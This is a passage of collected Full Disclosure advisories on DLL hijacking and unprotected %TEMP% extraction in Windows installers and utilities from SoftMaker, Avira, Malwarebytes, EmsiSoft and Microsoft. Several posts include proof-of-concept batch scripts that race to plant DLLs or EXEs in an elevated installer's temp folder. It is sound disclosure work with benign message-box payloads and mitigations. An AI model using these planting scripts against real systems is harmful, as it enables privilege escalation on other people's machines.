  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Practice STRICT privilege separation: NEVER use the so-called
  "protected" administrator account(s) created during Windows
  setup which use the same "%TEMP%" for unprivileged and privileged
  processes!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


Timeline:
~

2016-12-29sent vulnerability report to vendor and german CERT
  at the BSI

  No reply, not even an acknowledgement of receipt

2017-01-03german CERT contacts vendor, offering support and
  asking for vendors security officer

  No reply from vendor

2017-01-05resent vulnerability report to vendor

  No reply, not even an acknowledgement of receipt

2017-01-13report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 43): SoftMaker's Office service pack installers allow escalation of privilege

[Stefan Kanthak]

Hi @ll,

the service pack installers for SoftMaker Office 201x, available
from <http://www.softmaker.com/en/servicepacks-office-windows>,
are (surprise.-) vulnerable.


The executable installer (OUCH) ofw16_763.exe, a 7z SFX (OUCH),
creates an UNPROTECTED directory "%TEMP%\7zS\" to extract
its payload, then executes "%TEMP%\7zS\spsetup.exe".

"%TEMP%\7zS\" inherits the NTFS access rights of its parent
"%TEMP%\", i.e. allows full access for the UNPRIVILEGED user.

For this well-known vulnerability see
<https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html>


Due to the embedded application manifest which specifies
"requireAdministrator" the executable installer can only be run
with administrative rights.

JFTR: if written properly, it would create a PROTECTED directory
  "%TEMP%\7zS\", writable only for privileged users!

The UNPRIVILEGED user as well as any program running with the
users credentials can modify the extracted files, for example
"%TEMP%\7zS\spsetup.exe", which is executed with
administrative rights, resulting in arbitrary code execution
with elevation of privilege.

Additionally "spsetup.exe" is vulnerable to DLL hijacking,
another well-known vulnerability.
See <https://capec.mitre.org/data/definitions/471.html>,
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>

Thanks to the unprotected directory "%TEMP%\7zS\" the
unprivileged user can write DLLs to "%TEMP%\7zS\" which
are loaded by "spsetup.exe", again resulting in arbitrary code
execution with elevation of privilege!


Proof-of-concept:
~

0. download <http://www.softmaker.net/down/ofw16_763.exe> and
   save it in an arbitrary directory;

1. download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
   (see <http://home.arcor.de/skanthak/sentinel.html> alias
   <https://skanthak.homepage.t-online.de/sentinel.html>) and
   save it in an(other) arbitrary directory;

2. save the following batch script in same the directory as
   SENTINEL.DLL:

--- OFW16_873.CMD ---
:WAIT
@If Not Exist "%TEMP%\7z*" Goto :WAIT
For /D %%! In ("%TEMP%\7z*") Do Set foobar=%%!
Copy "SENTINEL.DLL" "%foobar%\NTMARTA.DLL"
Copy "SENTINEL.DLL" "%foobar%\VERSION.DLL"
Copy "SENTINEL.DLL" "%foobar%\WINSPOOL.DRV"
--- EOF ---

3. start the batch script;

4. execute ofw16_873.exe and notice the message boxes displayed
   by SENTINEL.DLL.

PWNED!

5. download <http://home.arcor.de/skanthak/download/SENTINEL.EXE>
   to the same directory as the batch script;

6. in the batch script replace the 3 lines Copy ... with
   Copy "SENTINEL.EXE" "%foobar%\spsetup.exe"

7. start the batch script;

8. execute ofw16_873.exe and notice the message box displayed
   by SENTINEL.EXE.

PWNED!


Mitigations:


* Don't use executable installers! NEVER!
  Don't use self-extractors! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Practice STRICT privilege separation: NEVER use the so-called
  "protected" administrator account(s) created during Windows
  setup which use the same "%TEMP%" for unprivileged and privileged
  processes!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


Timeline:
~

2016-12-15sent vulnerability report to vendor

  no reply, not even an acknowledegement of receipt

2016-12-23resent vulnerability report to vendor, cc CERT at 
  german BSI

  no reply, not even an acknowledegement of receipt

2016-12-27CERT at german BSI contacts vendor offering help

  no reply, not even an acknowledegement of receipt

2016-12-31report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 42): SoftMaker's FreeOffice installer allows escalation of privilege

[Stefan Kanthak]

Hi @ll,

the installers of SoftMaker's FreeOffice 2016, "freeoffice2016.exe",
available from <http://www.softmaker.net/down/freeoffice2016.exe>,
and its predecessor FreeOffice 2010, "freeofficewindows.exe",
available from <http://www.softmaker.net/down/freeofficewindows.exe>,
are (surprise.-) vulnerable!


1. They load CABINET.DLL, MSI.DLL, VERSION.DLL and WINSPOOL.DRV from
   their "application directory" instead of Windows' "system directory"
   %SystemRoot%\System32\, resulting in "arbitrary code execution".

   For this well-known vulnerability see
   <https://capec.mitre.org/data/definitions/471.html>,
   <https://cwe.mitre.org/data/definitions/426.html>,
   <https://cwe.mitre.org/data/definitions/427.html>
   <https://technet.microsoft.com/en-us/library/2269637.aspx>,
   <https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
   <https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
   
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
   
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>,
   <http://seclists.org/fulldisclosure/2012/Aug/134> and
   <http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>:

   The "application directory" is typically the user's "Downloads"
   folder, where an attacker can place these DLLs for example per
   "drive-by download".

   Thanks to the embedded application manifest which specifies
   "requireAdministrator" the executable installer can only be run
   with administrative privileges, resulting in "arbitrary code
   execution" WITH "elevation of privilege".


2. The installer creates an UNPROTECTED directory "%TEMP%\\",
   writable by the unprivileged user, to extracts the files uinst.exe,
   SETUP_1.CAB and SETUP_2.CAB, then extracts an .MSI from the .CABs
   and calls "MSIEXEC.EXE /i ...MSI" to finally install FreeOffice.

   Thanks to the unprotected directory an attacker can modify the
   extracted files and is able to gain SYSTEM privilege.

   For this well-known vulnerability see
   <https://cwe.mitre.org/data/definitions/377.html> and
   <https://cwe.mitre.org/data/definitions/379.html>


The installers are built using dotNetinstaller from dblock.org.
STAY AWAY FROM THIS CRAP!


Mitigations:


* Don't use executable installers! NEVER!

  See <http://seclists.org/fulldisclosure/2015/Nov/101> and
  <http://seclists.org/fulldisclosure/2015/Dec/86> plus
  <http://home.arcor.de/skanthak/!execute.html> alias
  <https://skanthak.homepage.t-online.de/!execute.html> for more
  information.

* Practice STRICT privilege separation: NEVER use the so-called
  "protected" administrator account(s) created during Windows
  setup.

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%";
  use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


Timeline:
~

2015-11-18sent vulnerability report for version 2010 to vendor

  received an auto-generated reply: we are busy

2015-12-27resent vulnerability report to vendor

2016-01-07vendor replies: fixed in latest release of
  FreeOffice 2010 from 2015-12-15

2016-01-07OUCH!
  The vulnerability is NOT fixed!

2016-01-19vendor replies: loading of CABINET.DLL and MSI.DLL
  should be fixed, but we can't fix WINSPOOL.DRV for now

2016-04-19sent vulnerability report for new version 2016 to
  vendor

  no reply, not even an acknowledgement of receipt

2016-12-12sent vulnerability report to vendor and author of
  installer

  no reply, not even an acknowledgement of receipt

2016-12-19resent vulnerability report to vendor and author of
  installer

  no reply, not even an acknowledgement of receipt

2016-12-29report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 41): EmsiSoft's Emergency Kit allows elevation of privilege for everybody

[Stefan Kanthak]

Hi @ll,

in response to <http://seclists.org/fulldisclosure/2016/Jan/24>
EmsiSoft fixed some of the DLL hijacking vulnerabilities in some
of their executable installers and unpackers.

EmsisoftEmergencyKit.exe still has beginner's errors which allow
escalation of privilege for EVERY local user:

0. while the self-extracting WinRAR archive EmsisoftEmergencyKit.exe
   doesn't load DLLs from its "application directory" any more, its
   payload but shows this vulnerability!

1. due to "requireAdministrator" in its application manifest the
   self-extractor runs with administrative rights, although it
   neither needs them nor uses them.

2. it creates the directory "%SystemDrive%\EEK" and unpacks its
   payload into it.

   JFTR: since it runs with administrative rights the self-
 extractor could create "%SystemDrive%\EEK" with an ACL
 that only allows write-access for administrators, or
 use "%ProgramFiles%\EmsiSoft\Emergency Kit" instead.

   This directory inherits the ACL of its parent, %SystemDrive%,
   which allows write access for unprivileged users; they can thus
   modify all files extracted there or add files, for example a
   "%SystemDrive%\EEK\Version.dll".

   Also give NetAPI32.dll, NetUtils.dll, SrvCli.dll, WksCli.dll,
   PropSys.dll, AppHelp.dll, NTMarta.dll, Secur32.dll, MPR.dll and
   CSCAPI.dll a try.

3. the programs "%SystemDrive%\EEK\Start Commandline Scanner.exe"
   and "%SystemDrive%\EEK\Start Emergency Kit Scanner.exe" have
   "requireAdministrator" in their application manifests too: they
   load and execute the DLLs named above from "%SystemDrive%\EEK"
   with administrative rights.

4. the other programs extracted to "%SystemDrive%\EEK\bin32" and
   "%SystemDrive%\EEK\bin64" and are also run with administrative
   rights.

5. of course the programs in "%SystemDrive%\EEK\bin32" and
   "%SystemDrive%\EEK\bin64" load and execute DLLs from their
   "application directory" (which is writable for everyone) too.

And one more:

6. the OpenSSL libraries shipped are from version 1.0.2d and have
   multiple vulnerabilities which have beed fixed in version 1.0.2j.


stay tuned
Stefan Kanthak


Timeline:
~

2016-08-29vulnerability report sent to vendor

2016-08-29vendor acknowledges vulnerability, promises to update
  at least the OpenSSL libraries, and ask the author of
  WinRAR to add a directive to protect the created EEK
  directory

2016-11-17vendor fixed NOTHING in the past ELEVEN weeks, and
  does not react any more -> report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 45): filesystem redirection fails to redirect the application directory

[Stefan Kanthak]

Hi @ll,

on x64 editions of Windows, RegEdit.exe exists both as
%windir%\regedit.exe and %windir%\SysWOW64\regedit.exe.

<https://msdn.microsoft.com/en-us/library/aa384187.aspx> states

| [...] whenever a 32-bit application attempts to access [...]
| %windir%\regedit.exe is redirected to %windir%\SysWOW64\regedit.exe.

But what is the "application directory" when a 32-bit application
runs %windir%\regedit.exe?
Is it %windir% or %windir%\SysWOW64, i.e. is it determined before
or after the redirection?

Remember that the "application directory" comes first in the
standard/default DLL search order, as documented in
<https://msdn.microsoft.com/en-us/library/ms682586.aspx>

Since the 32-bit system DLLs are located in %windir%\SysWOW64, NOT
in %windir%, this makes a difference...


1. compile the following source as 32-bit program:

--- POC.C ---
#pragma comment(lib, "KERNEL32.LIB")

#pragma comment(linker, "/ENTRY:WinMainCRTStartup")
#pragma comment(linker, "/SUBSYSTEM:Windows")

#include 

void WinMainCRTStartup()
{
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi = {0};

if (!CreateProcess("C:\\Windows\\regedit.exe", "* /M",
   NULL, NULL, FALSE, 0L, NULL, NULL, , ))
ExitProcess(GetLastError());

if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
ExitProcess(GetLastError());

if (!CloseHandle(pi.hThread))
ExitProcess(GetLastError());

if (!CloseHandle(pi.hProcess))
ExitProcess(GetLastError());

ExitProcess(ERROR_SUCCESS);
}
--- EOF ---


2. download <http://home.arcor.de/skanthak/temp/REGEDIT.CAB> and
   extract its contents to %windir%:
  WUSA.EXE /Extract:REGEDIT.CAB %windir%
   (yes, this needs administrative privileges, but that's NOT the
   point here).

   The 32-bit DLLs in REGEDIT.CAB are transparent proxies: they
   export all symbols and ordinals of their counterparts found in
   the "system directory" and forward them to these counterparts.

--- FORWARD.C ---
#pragma comment(linker, "/DLL")
#pragma comment(linker, "/ENTRY:_DllMainCRTStartup")
#pragma comment(linker, 
"/EXPORT:=System32\\.,@")
...
#pragma comment(linker, 
"/EXPORT:=System32\\.#,@,NONAME")
...
#pragma comment(linker, "/SUBSYSTEM:Windows")

#include 

BOOL WINAPI _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID 
lpvReserved)
{
MessageBox(...);

return TRUE;
}
--- EOF ---

   See <http://home.arcor.de/skanthak/sentinel.html> for details.


3. run the program compiled in step 1: notice the message boxes
   displayed from the DLLs extracted to %windir% in step 2 and
   loaded by %windir%\SysWOW64\regedit.exe: the "application
   directory" of %windir%\SysWOW64\regedit.exe is %windir%\, NOT
   %windir%\SysWOW64\!

   Or use the 32-bit NTSD.EXE run %windir%\regedit.exe: you'll see
   the message boxes too plus the debugger output as shown in
   <http://home.arcor.de/skanthak/temp/REGEDIT.TXT>


4. finally use the 64-bit NTSD.EXE to run %windir%\regedit.exe:
   see <http://home.arcor.de/skanthak/temp/REGEDIT.LOG> for the
   debugger output.

   Notice that the 32-bit forwarder DLLs are loaded in the 64-bit
   process and that their exports/forwards are processed properly!

   Their DllMain() extry points are but NOT called (if they were
   you'd see some message boxes)!


stay tuned
Stefan Kanthak


PS: the test whether 64-bit forwarder DLLs placed in %windir% are
loaded in the 32-bit process %windir%\SysWOW64\regedit.exe is
left as an exercise to the reader.

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 44): complete failure of Windows Update

[Stefan Kanthak]

Hi @ll,

since more than a year now, Windows Update fails (not only, but most
notably) on FRESH installations of Windows 7/8/8.1 (especially their
32-bit editions), which then get NO security updates at all [°]!

One of the many possible causes: Windows Update Client runs out of
(virtual) memory during the search for updates and yields 0x8007000E
alias E_OUTOFMEMORY ['].

According to <https://support.microsoft.com/en-us/kb/3050265>

| This update addresses an issue in which Windows Update scans can
| fail and generate a 0x8007000E error.

and <https://support.microsoft.com/en-us/kb/3161647>

| Fix for a Windows Update error 0x8007000E on some computers while
| they are updating.

this has been fixed in recent versions of the Windows Update Client.

BUT: Windows Update does NOT get/fetch this updated Windows Update
 Client and is stuck!

The first action Windows Update Client performs when it contacts the
update servers (which happens as soon as an internet connection is
available, see <https://support.microsoft.com/en-us/kb/931275>) is to
update itself ... on Windows 7 to version 7.6.7600.320, which is but
COMPLETELY outdated [²]!

Despite the completely outdated version distributed for self-update via
Windows Update, the Windows Update Client makes no further attempts to
update itself; see the following lines from C:\Windows\WindowsUpdate.log:

| 2016-10-06 22:23:01:815  860 dec Agent *
| 2016-10-06 22:23:01:815  860 dec Agent ** START **  Agent: Finding updates 
[CallerId = AutomaticUpdates]
| 2016-10-06 22:23:01:815  860 dec Agent *
| 2016-10-06 22:23:01:815  860 dec Agent   * Online = Yes; Ignore download 
priority = No
| 2016-10-06 22:23:01:815  860 dec Agent   * Criteria = "IsInstalled=0 and 
DeploymentAction='Installation' or IsPresent=1 and
DeploymentAction='Uninstallation' or IsInstalled=1 and 
DeploymentAction='Installation' and RebootRequired=1 or IsInstalled=0 and
DeploymentAction='Uninstallation' and RebootRequired=1"
| 2016-10-06 22:23:01:815  860 dec Agent   * ServiceID = 
{9482F4B4-E343-43B6-B170-9A65BC822C77} Windows Update
| 2016-10-06 22:23:01:815  860 dec Agent   * Search Scope = {Machine}
| 2016-10-06 22:23:01:815  860 dec Setup Checking for agent SelfUpdate
| 2016-10-06 22:23:01:815  860 dec Setup Client version: Core: 7.6.7600.320  
Aux: 7.6.7600.320
...
| 2016-10-06 22:23:05:184  860 dec Setup SelfUpdate handler update NOT 
required: Current version: 7.6.7600.320, required version:
7.6.7600.320


See <http://home.arcor.de/skanthak/slipstream.html> for instructions
for a fix and some more information!


stay tuned
Stefan Kanthak


[°] since this happens during the search for updates these searches
NEVER finish. As result, Windows Update doesn't notify the user
that Windows is not up-to-date and misses critical/important
security updates!

['] when this happens on FRESH installations of Windows 7, manual
installation of KB3124275 alias MS16-001 (the latest update
for Internet Explorer 8, which is part of Windows 7) helps.
This prunes the search tree sufficiently to avoid this error.

[²] the same holds for <https://support.microsoft.com/en-us/kb/949104>,
titled "How to update the Windows Update Agent to the latest version",
which too offers version 7.6.7600.320 for Windows 7.
ARE YOU SERIOUS, MICROSOFT?
There are at least 10 later versions of the Windows Update Client
for Windows 7: KB3050265, KB3065987, KB3075851, KB3083324, KB3083710,
KB3102810, KB3112343, KB3135445, KB3138612 and KB3161647 (and even
more for Windows 8/8.1)!


___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 43): restricting the DLL load order fails

[Stefan Kanthak]

Hi @ll,

according to <https://msdn.microsoft.com/en-us/library/ms684179.aspx>
and <https://msdn.microsoft.com/en-us/library/ms682586.aspx>,
LoadLibraryEx with LOAD_WITH_ALTERED_SEARCH_PATH should NOT search
the calling program's application directory:

| Note that the standard search strategy and the alternate search
| strategy specified by LoadLibraryEx with LOAD_WITH_ALTERED_SEARCH_PATH
| differ in just one way: The standard search begins in the calling
| application's directory, and the alternate search begins in the
| directory of the executable module that LoadLibraryEx is loading.
|
| If SafeDllSearchMode is enabled, the alternate search order is as
| follows:
| 1. The directory specified by lpFileName.
| 2. The system directory. Use the GetSystemDirectory function to get
|the path of this directory.
| 3. The 16-bit system directory. There is no function that obtains the
|path of this directory, but it is searched.
| 4. The Windows directory. Use the GetWindowsDirectory function to get
|the path of this directory.
| 5. The current directory.
| 6. The directories that are listed in the PATH environment variable.
|Note that this does not include the per-application path specified
|by the App Paths registry key. The App Paths key is not used when
|computing the DLL search path.
|
| If SafeDllSearchMode is disabled, the alternate search order is as
| follows:
| 1. The directory specified by lpFileName.
| 2. The current directory.
| 3. The system directory. Use the GetSystemDirectory function to get
|the path of this directory.
| 4. The 16-bit system directory. There is no function that obtains the
|path of this directory, but it is searched.
| 5. The Windows directory. Use the GetWindowsDirectory function to get
|the path of this directory.
| 6. The directories that are listed in the PATH environment variable.
|Note that this does not include the per-application path specified
|by the App Paths registry key. The App Paths key is not used when
|computing the DLL search path.


On a fully patched Windows 7 SP1 (I've not tested on other versions), the
following program but loads VERSION.DLL from its application directory:

--- POC.C ---
#pragma comment(lib, "KERNEL32.LIB")

#pragma comment(linker, "/ENTRY:WinMainCRTStartup")
#pragma comment(linker, "/SUBSYSTEM:Windows")

#include 

void WinMainCRTStartup()
{
HMODULE hModule = LoadLibraryEx("C:\\Program Files\\Common 
Files\\System\\WAB32.DLL",
NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (hModule == NULL)
ExitProcess(GetLastError());

if (!FreeLibrary(hModule))
ExitProcess(GetLastError());

ExitProcess(ERROR_SUCCESS);
}
--- EOF ---

VERSION.DLL is (via the API sets introduced in Windows 7) an INDIRECT
load-time dependency of (not only) WAB32.DLL.

This bug allows to exploit a well-known and well-documented weakness:
see <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> and
<https://capec.mitre.org/data/definitions/471.html>


Mitigations:


* add VERSION.DLL to the "known DLLs":

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session 
Manager\KnownDLLs]
  "Version"="Version.Dll"

* embed the following "application manifest" in your executables:

  
  
  
  

  CAVEAT: the loadFrom attribute of the file element is not documented!


stay tuned
Stefan Kanthak


Timeline:
~

2016-09-03report sent to vendor

2016-09-06vendor replies:
  "Upon investigation we have determined that this does
   not meet the bar for security servicing at this time."

2016-09-06report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 40): Aviras' full package installers allow escalation of privilege

[Stefan Kanthak]

Hi @ll,

Avira's free antivirus full package executable installers,
avira_antivirus_en-us.exe, avira_antivirus_de-de.exe etc.,
available from
<https://www.avira.com/en/download/product/avira-free-antivirus>,
<https://www.avira.com/de/download/product/avira-free-antivirus>
etc., have multiple vulnerabilities:


1. the full package executable installers (really: self-
   extracting RAR archives) extract their payload (the real
   installer) into the directory "%TEMP%\RarSFX0\"

This directory is NOT protected against tampering, i.e. the
extracted payload can be replaced by an unprivileged attacker
who has access to the respective user account, or by malware
already running under this user account.


2. after extraction the self-extractor starts the unpacked
   "%TEMP%\RarSFX0\presetup.exe" ELEVATED, eventually
   displaying an UAC prompt.

An unprivileged attacker who modified "%TEMP%\RarSFX0\presetup.exe"
between extraction and execution can trick the user to start a
rogue program with administrative privileges.


3. "%TEMP%\RarSFX0\presetup.exe" loads multiple (system) DLLs
   from its application directory "%TEMP%\RarSFX0\", and starts
   several programs, for example "%TEMP%\RarSFX0\setup.exe".

All these DLLs and programs are executed with administrative
privileges too; an unprivileged attacker who (re)placed these
files in "%TEMP%\RarSFX0\" gains escalation of privilege to
"Administrator".


4. "%TEMP%\RarSFX0\setup.exe" installs several Windows services
   which run under the SYSTEM account.

An unprivileged attacker who replaced the service executables in
"%TEMP%\RarSFX0\" gains escalation of privilege to "SYSTEM".


Proof of concept:
~

1. download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
   and <http://home.arcor.de/skanthak/download/SENTINEL.EXE>
   and save them in your "Downloads" directory;

2. create the following batch script in an arbitrary directory:

--- POC.CMD ---
:WAIT_DLL
@If Not Exist "%TEMP%\RarSFX0" Goto :WAIT_DLL

For %%! In (UXTheme Version DWMAPI) Do @Copy 
"%USERPROFILE%\Downloads\SENTINEL.DLL" "%TEMP%\RarSFX0\%%!.DLL"

:WAIT_EXE
@If Not Exist "%TEMP%\RarSFX0\setup.exe" Goto :WAIT_EXE

Copy "%USERPROFILE%\Downloads\SENTINEL.EXE" "%TEMP%\RarSFX0\setup.exe"
--- EOF ---

3. download "avira_antivirus_en-us.exe" and save it in your
   "Downloads" directory;

4. start the batch script POC.CMD;

5. start the downloaded "avira_antivirus_en-us.exe" and notice
   the message boxes displayed from the DLLs and EXE placed in
   "%TEMP%\RarSFX0\" by POC.CMD

PWNED!


Mitigations:


* Don't use executable installers! NEVER!

* Don't use crapware which runs executables from unsafe
  directories like %TEMP%!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of "%TEMP%"; use
  <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


PS: of course Avira's anti-virus has some more beginner's errors:
outdated and vulnerable 3rd-party libraries!

- libcurl.dll 7.39.0
  the current version is 7.50.1, with MULTIPLE fixed vulnerabilties;
  see <https://curl.haxx.se/docs/vulnerabilities.html>

- ssleay32.dll and libeay32.dll 1.0.2.5 from OpenSSL 1.0.2e
  the current version is 1.0.2h, with MULTIPLE fixed vulnerabilities;
  see <https://openssl.org/news/vulnerabilities.html>


Timeline:
~

2016-07-15vulnerability report sent to vendor

  NO RESPONSE, not even an acknowledgement of receipt

2016-08-29report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Executable installers are vulnerable^WEVIL (case 39): MalwareBytes' "junkware removal tool" allows escalation of privilege

[Stefan Kanthak]

Hi @ll,

JRT.exe (see <https://en.malwarebytes.com/junkwareremovaltool/>)

1. is vulnerable to DLL hijacking:
   see <https://cwe.mitre.org/data/definitions/426.html>
   and <https://cwe.mitre.org/data/definitions/427.html> for
   these WELL-KNOWN and WELL-DOCUMENTED beginner's errors;

2. creates an unsafe directory "%TEMP%\jrt":
   see <https://cwe.mitre.org/data/definitions/377.html>
   and <https://cwe.mitre.org/data/definitions/379.html> for
   these WELL-KNOWN and WELL-DOCUMENTED beginner's errors!

An attacker can exploit these vulnerabilities to gain
arbitrary code execution WITH escalation of privilege.


Ad 1.:
~~

Applications which are offered as downloads to unsuspecting users
will typically be saved into the users "Downloads" directory ...
which is but a digital minefield: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>

On a fully patched Windows 7 SP1, JRT.exe loads and executes the
following DLLs from its "application directory" (which usually
happens to be the users "Downloads" directory):
UXTheme.dll, DWMAPI.dll, PropSys.dll, NTMARTA.dll, Version.dll,
Secur32.dll

On other versions of Windows this list varies slightly, but JRT.exe
ALWAYS loads some DLLs from its "application directory".


Due to its embedded application manifest which specifies
"requireAdministrator", JRT.exe runs with administrative privileges:
all DLLs it loads and executes run with administrative privileges
too, resulting in arbitrary code execution WITH elevation of
privilege.

If an attacker is able to place the DLLs named above per "drive-by
download" in the users "Downloads" directory this becomes a remote
code execution WITH elevation of privilege.


Proof of concept:
~

1. download <http://home.arcor.de/skanthak/download/SENTINEL.DLL>
   and save it as UXTheme.dll, DWMAPI.dll, PropSys.dll, NTMARTA.dll,
   Version.dll, Secur32.dll in your "Downloads" directory;

2. download <https://downloads.malwarebytes.com/file/jrt/> and
   save it in your "Downloads" directory;

3. start the downloaded JRT.exe and notice the message boxes
   displayed from the DLLs planted in step 1.

PWNED!


Ad 2.:
~~

Upon execution JRT.exe creates the directory "%TEMP%\jrt", extracts
its payload into it and starts Windows' command processor (with
administrative privileges too) to run the extracted batch script
"%TEMP%\jrt\get.bat".

The directory "%TEMP%\jrt" inherits the NTFS permissions of its
parent "%TEMP%", allowing FULL access for the respective user
account.

In the "protected" alias UAC-controlled administrator account
created during Windows setup, "%TEMP%\jrt" is writable without
administrative privileges: the unprivileged user (or any process
running without elevation under this user account) can watch for
the creation of this directory and then (over)write any file
(for example FIND.COM, REG.COM, NET.COM, PING.COM, FC.COM,
FINDSTR.COM, TASKLIST.COM, SORT.COM, SCHTASKS.COM, WGET.DAT,
UNIQ.DAT, SED.DAT, GREP.DAT, NIRCMD.DAT, SHORTCUT.DAT, or the
DLLs which the *.DAT load from their "application directory")
again gaining elavation of privilege.


Proof of concept:
~

1. download <http://home.arcor.de/skanthak/download/SENTINEL.EXE>
   and save it in your "Downloads" directory;

2. create the following batch script in an arbitrary directory:

--- POC.CMD ---
:WAIT
@If Not Exist "%TEMP%\jrt" Goto :WAIT

For %%! In (FIND REG NET PING FC FINDSTR TASKLIST SORT
 SCHTASKS) Do @Copy "%USERPROFILE%\Downloads\SENTINEL.EXE" "%TEMP%\jrt\%%!.COM"
--- EOF ---

3. download <https://downloads.malwarebytes.com/file/jrt/> and
   save it in your "Downloads" directory;

4. start the batch script POC.CMD;

5. start the downloaded JRT.exe and notice the message boxes
   displayed from the *.COM.

PWNED!


Mitigations:


* Don't use executable installers!

* Don't use crapware which runs executables from unsafe
  directories like %TEMP%!

* Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of "%TEMP%"; use
  <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to
  decode it to "deny execution of files in this directory for
  everyone, inheritable to all files in all subdirectories".


stay tuned
Stefan Kanthak


Timeline:
~

2016-08-06vulnerability report sent to vendor

  NO RESPONSE

2016-08-15report published

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 42): Sysinternals utilities load and execute rogue DLLs from %TEMP%

[Stefan Kanthak]

Hi @ll,

several of Microsoft's Sysinternals utilities extract executables
to %TEMP% and run them from there; the extracted executables are
vulnerable to DLL hijacking, allowing arbitrary code execution in
every user account and escalation of privilege in "protected
administrator" accounts [*].

* CoreInfo.exe:
  extracts on x64 an embedded CoreInfo64.exe to %TEMP% which loads
%TEMP%\VERSION.DLL (on Windows Vista and newer)
  and executes it with the callers credentials.

* Disk2VHD.exe:
  extracts on Windows 2003 and newer, both x86 and x64, an embedded
  Disk2VHD-tmp.exe to %TEMP% which loads
%TEMP%\UXTHEME.DLL
%TEMP%\VERSION.DLL (on Windows Vista and newer),
  and executes it with administrative privileges on Windows Vista
  and newer, and with the callers credentials on Windows 2003.

* DiskView.exe:
  extracts on x64 an embedded DiskView64.exe to %TEMP% which loads
%TEMP%\UXTHEME.DLL
  and executes it with administrative privileges on Windows Vista
  and newer, and with the callers credentials on Windows 2003 and
  Windows XP.

* ProcMon.exe:
  extracts on x64 an embedded ProcMon64.exe to %TEMP% which loads
%TEMP%\UXTHEME.DLL,
%TEMP%\VERSION.DLL (on Windows Vista and newer),
  and executes it with the callers credentials.

* RAMMap.exe:
  extracts on x64 an embedded RAMMap64.exe to %TEMP% which loads
%TEMP%\SETUPAPI.DLL (on Windows 2003),
%TEMP%\UXTHEME.DLL,
%TEMP%\VERSION.DLL (on Windows Vista and newer),
  and executes them with administrative privileges on Windows Vista
  and newer, and with the callers credentials on Windows 2003.

* VMMap.exe:
